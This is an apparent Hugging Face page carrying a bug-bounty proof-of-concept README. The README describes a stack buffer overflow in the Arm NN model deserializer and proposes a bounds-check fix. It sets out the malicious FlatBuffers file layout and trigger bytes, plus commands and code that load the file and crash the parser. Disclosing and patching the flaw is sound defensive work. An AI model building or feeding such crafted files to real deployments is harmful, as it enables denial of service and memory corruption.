Downloads · 30 days
0
LWa7ch/poc-armnn-dimspec-overflow
poc-armnn-dimspec-overflow is a machine learning model from LWa7ch. Use it for the machine learning task on the model card, and read the license before you ship it in a product.
Target: ARM-software/armnn File: src/armnnDeserializer/Deserializer.cpp ~lines 746-760 Severity: HIGH (memory corruption, potential RCE / DoS from malformed model file) Bug class: CWE-121: Stack-based Buffer Overflow…
Downloads · 30 days
0
Access
Public
Updated Jul 18, 2026
Repo size
—
Likes
1
Public
Click a slice to open those files.
.py19.1 KB · 70%
From the Hugging Face model README
Target: ARM-software/armnn
File: src/armnnDeserializer/Deserializer.cpp ~lines 746-760
Severity: HIGH (memory corruption, potential RCE / DoS from malformed model file)
Bug class: CWE-121: Stack-based Buffer Overflow
Platform: Protect AI / huntr.com bug bounty — authorized security research
The Arm NN Deserializer reads TensorInfo objects from .armnn FlatBuffers
files. When a TensorInfo has a dimensionSpecificity field, the deserializer
copies its elements into a fixed-size stack array:
// Deserializer.cpp ~line 746
bool dimensionsSpecificity[armnn::MaxNumOfTensorDimensions]; // MaxNumOfTensorDimensions = 5
std::fill_n(dimensionsSpecificity, armnn::MaxNumOfTensorDimensions, true);
if (tensorPtr->dimensionSpecificity() != nullptr)
{
auto dimensionSpecificity = tensorPtr->dimensionSpecificity();
size = dimensionSpecificity->size(); // [1] attacker-controlled
for (unsigned int i = 0; i < size; ++i)
{
dimensionsSpecificity[i] = dimensionSpecificity->Get(i); // [2] NO BOUNDS CHECK
}
}
Root cause:
[1], size is taken directly from the FlatBuffers vector length with no
upper-bound check.[2], the loop writes to dimensionsSpecificity[i] for all i < size
without checking i < MaxNumOfTensorDimensions (5).dimensionSpecificity contains ≥ 6 elements, the write at index 5 goes
past the end of the 5-element stack array, corrupting adjacent stack memory.Verifier bypass:
The FlatBuffers structural Verifier validates byte-level integrity (offsets,
alignment, vector byte lengths), but has no knowledge of application-level
semantic constraints like MaxNumOfTensorDimensions = 5. A file with a
6-element dimensionSpecificity vector is structurally valid FlatBuffers and
passes the Verifier without triggering any error.
malicious.armnn — 436-byte FlatBuffers file
SerializedGraph
layers: [
AnyLayer { layer_type=InputLayer(9), layer=InputLayer {
base: BindableLayerBase {
base: LayerBase { index=0, name="input", type=Input }
layerBindingId: 0
}
outputSlots: [ OutputSlot {
index: 0
tensorInfo: TensorInfo {
dimensions: [1] <- 1 dimension
dataType: Float32
dimensionality: 1
dimensionSpecificity: [1,1,1,1,1,1] <- 6 elements (TRIGGER)
}
}]
}}
AnyLayer { layer_type=OutputLayer(11), layer=OutputLayer {
base: BindableLayerBase {
base: LayerBase { index=1, name="output", type=Output }
layerBindingId: 1
}
inputSlots: [ InputSlot {
index: 0
connection: { sourceLayerIndex=0, outputSlotIndex=0 }
}]
}}
]
inputIds: [0]
outputIds: [1]
The 6-element dimensionSpecificity vector is embedded at buffer offset 232:
06 00 00 00 01 01 01 01 01 01
source /tmp/mlresearch/bin/activate
pip install flatbuffers
python3 poc_armnn_dimspec.py
# Outputs: malicious.armnn
Option A — Python (if pyarmnn wheel available for your platform):
import pyarmnn as ann
parser = ann.IDeserializer.Create()
parser.CreateNetworkFromBinaryFile("malicious.armnn") # crashes here
Option B — C++:
#include <armnnDeserializer/IDeserializer.hpp>
int main() {
auto parser = armnnDeserializer::IDeserializer::Create();
parser->CreateNetworkFromBinaryFile("malicious.armnn"); // OOB write
}
Option C — Arm NN unit test binary:
./UnitTests --run_test=DeserializeNetwork/LoadsFromFile -- malicious.armnn
With AddressSanitizer or Valgrind:
==ASAN: stack-buffer-overflow on address ...
WRITE of size 1 at offset 5 of 5-element array dimensionsSpecificity
#0 armnnDeserializer::Deserializer::ToTensorInfo(...)
Deserializer.cpp:756
Add a bounds check before the loop (one-line fix):
if (tensorPtr->dimensionSpecificity() != nullptr)
{
auto dimensionSpecificity = tensorPtr->dimensionSpecificity();
size = dimensionSpecificity->size();
// FIX: reject files with oversized dimensionSpecificity
if (size > armnn::MaxNumOfTensorDimensions)
{
throw ParseException(
fmt::format("TensorInfo has {} dimensionSpecificity entries; "
"maximum is {}.",
size, armnn::MaxNumOfTensorDimensions));
}
for (unsigned int i = 0; i < size; ++i)
{
dimensionsSpecificity[i] = dimensionSpecificity->Get(i);
}
}
Alternatively, replace the fixed-size stack array with a std::vector and
perform a runtime resize, or use the incoming size with std::min:
size = std::min(dimensionSpecificity->size(),
static_cast<flatbuffers::uoffset_t>(armnn::MaxNumOfTensorDimensions));
| File | Description |
|---|---|
poc_armnn_dimspec.py | Python script that generates the malicious .armnn file |
malicious.armnn | Pre-generated 436-byte malicious FlatBuffers model file |
README.md | This document |
src/armnnDeserializer/Deserializer.cppsrc/armnnSerializer/ArmnnSchema.fbsarmnn::MaxNumOfTensorDimensions defined in include/armnn/Types.hpp as 5